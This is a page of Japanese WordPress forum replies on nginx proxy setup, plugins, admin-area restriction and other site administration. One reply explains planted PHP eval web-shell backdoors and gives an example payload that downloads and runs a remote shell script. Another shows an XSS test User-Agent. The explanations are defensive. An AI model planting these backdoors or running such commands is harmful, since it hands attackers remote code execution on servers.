フォーラムへの返信

15件の返信を表示中 - 1 - 15件目 (全130件中)
  • rewrite ^/Blog(/.*)$ $1 break; はリバースプロキシ元の nginx 設定ではなく、リバースプロキシ先の nginx 設定に記載してください。
    私の環境では、この設定で問題なく動作しています。

    # リバースプロキシ元
    upstream backend {
    server unix:/var/run/nginx-backend.sock;
    }

    server {
    listen 80;
    server_name _;
    root /var/www/html;
    index index.php index.html index.htm;

    proxy_redirect off;
    proxy_cache czone;

    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header Remote-Addr $remote_addr;
    proxy_set_header X-Forwarded-Host $host;
    proxy_set_header X-Forwarded-Server $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $proxy_proto;
    proxy_set_header X-Forwarded-Port $proxy_port;
    proxy_set_header Accept-Encoding "";
    proxy_set_header Proxy "";

    location /Blog {
    proxy_cache_key "$proxy_proto://$host$request_uri";
    proxy_cache_valid 200 0m;
    proxy_pass http://backend;
    }

    location ~ /\.ht {
    deny all;
    }
    }
    # リバースプロキシ先
    server {
    listen unix:/var/run/nginx-backend.sock;
    server_name _;
    root /var/www/html;
    index index.php index.html index.htm;

    access_log /var/log/nginx/backend.access.log;

    keepalive_timeout 25;
    port_in_redirect off;

    gzip off;
    gzip_vary off;

    rewrite ^/Blog(/.*)$ $1 break;

    # This order might seem weird - this is attempted to match last if rules below fail.
    location / {
    try_files $uri $uri/ /index.php$is_args$args;
    }

    # Pass all .php files onto a php-fpm/php-fcgi server.
    location ~ \.php$ {
    expires off;
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
    fastcgi_pass phpfpm;
    fastcgi_index index.php;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
    fastcgi_intercept_errors on;
    fastcgi_connect_timeout 60;
    fastcgi_send_timeout 180;
    fastcgi_read_timeout 180;
    fastcgi_buffers 16 16k;
    fastcgi_buffer_size 32k;
    fastcgi_busy_buffers_size 32k;
    fastcgi_temp_file_write_size 256k;
    fastcgi_param REMOTE_ADDR $http_x_real_ip;
    }
    }
    • この返信は5ヶ月、 1週前にwokamotoが編集しました。

    リバースプロキシ先の nginx がサブディレクトリインストールされていることを認識できないからだと思われます。
    まず、リバースプロキシ先の nginx 設定に以下を追加してください。

    rewrite ^/Blog(/.*)$ $1 break;

    上記の設定だけでうまく行かなければ wp-config.php に以下を追加して WordPress 管理画面のURLがサブディレクトリ以下になるようにしてください。

    define( 'WP_SITEURL', 'https://www.example.com/Blog' );

    0.6.0 以前に存在していた XSS 脆弱性ですが、以下のような UserAgent でアクセスされた場合、それを管理画面で表示すると JavaScript が実行されてしまうというものです。

    User-agent: <script>alert(1);</script>

    これを修正したものが ver.0.6.0 になります。
    0.6.0 以前を利用している場合は、管理画面でログイン履歴一覧を表示しなければ害はありませんが、はやめのアップデートをお願い致します。

    StaticPress 作者です。
    現在 StaticPress には定期的に再構築する機能はありませんし、今後もその機能を実装する予定もありません。
    ただ発想としては面白いので、気が向いたら実装するかもしれません。

    StaticPress では github でもソースを公開しています。
    https://github.com/megumiteam/staticpress

    もし、そのような機能を実装されるのであれば、ぜひプルリクエストしてください。

    フォーラム: プラグイン
    返信が含まれるトピック: Nginx Helperについて

    Nginx Helper ではなく Nginx Cache Controller ( http://wordpress.org/plugins/nginx-champuru/ ) というプラグインを使用して、それのアクションフック nginxchampuru_flush_cache を使えば実現できると思います。
    詳しくは下記 URL を参考にしてください。
    http://dogmap.jp/2012/09/01/nginx-cache-controller-1-1-4/

    上の記事では purge.php をリバプロに置いてやる方法が書かれていますが、リバプロ側に ngx_cache_purage モジュールを組み込んでいるのであれば purge.php は必要ありません。
    アクションフックを登録するで書かれている nginx_flush_cache() ファンクション内で wp_remote_get() している URL を ngx_cache_purage モジュールでキャッシュをパージするための URL に変更してみてください。

    フォーラム: 使い方全般
    返信が含まれるトピック: WordPress の管理画面を IP アドレスで制限する

    上のディレクトリに置いたのであれば ip_check::is_allowed_ip() を呼び出す部分を変更します。
    以下のような感じです。

    if ( preg_match('#(/wp-admin/.*|wp-login\.php)#i', $_SERVER['REQUEST_URI']) && !preg_match('#admin-ajax\.php#i', $_SERVER['REQUEST_URI']) ) {
      require( dirname(__FILE__) . '/ip_check.php' );
      if ( !ip_check::is_allowed_ip( dirname(dirname(__FILE__)) . '/.allowed_ip' ) ) {
        header("HTTP/1.1 403 Forbidden");
        echo "403 Forbidden\n";
        die();
      }
    }
    フォーラム: マルチサイト
    返信が含まれるトピック: マルチサイトでのベーシック認証の利用

    あっ、wp-login.php にだけかけたいんですね。じゃぁ、ちゃんと .htaccess を書きなおさないとですね。

    フォーラム: マルチサイト
    返信が含まれるトピック: マルチサイトでのベーシック認証の利用

    マルチサイトで検証していないので恐縮ですが…
    拙作のプラグイン WP Basic Auth で対応できるかもです。
    http://wordpress.org/plugins/wp-basic-auth/

    このプラグインは有効にするだけで WordPress のユーザ名/パスワードでサイト全体に BASIC 認証がかかります。
    ただし、画像ファイル等の静的ファイルについては BASIC 認証がかからないので注意してください。

    フォーラム: プラグイン
    返信が含まれるトピック: 昨日から突然ツイートされなくなった

    昨日 Twitter API v.1.0 が完全に廃止され、Twitter API v.1.1 のみしか受け付けなくなっています。
    https://twitter.com/TwitterDevJP/status/344628654690664448

    Twitter API v.1.0 を使用して tweet しているプラグインは正常に動作しなくなっていると思います。
    拙作の Simple Tweet は、Twitter API V.1.1 に対応しているので動作しています。
    http://wordpress.org/plugins/simple-tweet/

    どうも、memo.dogmap.jp を書いてるものです。
    コメント欄でも指摘されていますが core.trac で追加されてることが言及されてますね。
    http://core.trac.wordpress.org/ticket/19607

    /admin/ のほか、/login/, /dashboard/ でも大丈夫です。

    フォーラム: 使い方全般
    返信が含まれるトピック: 特定のURL、固定ページのみ「theme」を切り替える

    それでは、ダメです。
    プラグインにするなら、いかのような感じになると思います。
    https://gist.github.com/4679580

    あと、この課題はすでに「解決済み」でしたね。
    本来であれば、別課題を建てていただいた方が良いと思います。

    フォーラム: 使い方全般
    返信が含まれるトピック: 特定のURL、固定ページのみ「theme」を切り替える

    switch 文を使えば簡単ですね。

    // REQUEST_URL から一番上の階層を取り出す
    $cat = preg_replace('#^/([^/]+)/?.*$#', '$1', $_SERVER['REQUEST_URI']);
    
    // abaout, news, blog によって、テーマを変更する
    $overrideTheme = false;
    switch ($cat) {
        case 'about':
    		$overrideTheme = 'twentyten';
    		break;
        case 'news':
    		$overrideTheme = 'twentyeleven';
    		break;
        case 'blog':
    		$overrideTheme = 'twentytwelve';
    		break;
    }
    
    // テーマのオーバーライド
    if ( $overrideTheme  ) {
        $overrideTheme = wp_get_theme($overrideTheme);
        if ( $overrideTheme->exists() ) {
            return $overrideTheme['Template'];
        } else {
            return $theme;
        }
    } else {
        return $theme;
    }
    フォーラム: インストール
    返信が含まれるトピック: さくらVPSでのWordPressインストール時

    手前味噌ですがセキュリティ設定に着いては、こちらもご一読ください

    VPS 借りたら、せめてこれくらいはやっとけというセキュリティ設定 | dogmap.jp

    <?eval(stripslashes(array_pop($_POST)))?>

    これは $_POST 配列の最後の値を取り出して、その文字列を PHP コードとして実行するための記述です。
    $_POST 配列には、サーバに POST メソッドで送られた値が入りますので、例えば POST で以下のような文字列が送られてきた場合、サーバで UNIX コマンドが実行されてしまいます。

    shell_exec('wget http://example.com/evil.script.sh; ./evil.script.sh');

    攻撃者は、任意の PHP コードを、HTTP の POST メソッドで送りつけて、あなたのサーバで実行させることができるため、大変危険です。

    if (isset($_REQUEST['asc'])) { eval(stripslashes($_REQUEST['asc'])); exit; }/* v0xXJf2 */

    こちらも、同様に $_REQUEST[‘asc’] という値があれば、それを PHP コードとして実行します。
    $_REQUEST には、POST, GET, COOKIE 等で送られてきたデータが入ります。
    攻撃者は POST や GET メソッドで asc という名前で PHP コードを送りつけて、あなたのサーバで実行させることができます。

    フォーラム: プラグイン
    返信が含まれるトピック: Curlのインストールのやり方について

    WordPress の質問では無いので、本来は Ubuntu フォーラム等で聞いてもらった方が良いと思いますが…

    php5-curl パッケージをインストールする必要があります。

    $ sudo apt-get install php5-curl

    その後 Apache なり、php-fpm なりを再起動してください。

15件の返信を表示中 - 1 - 15件目 (全130件中)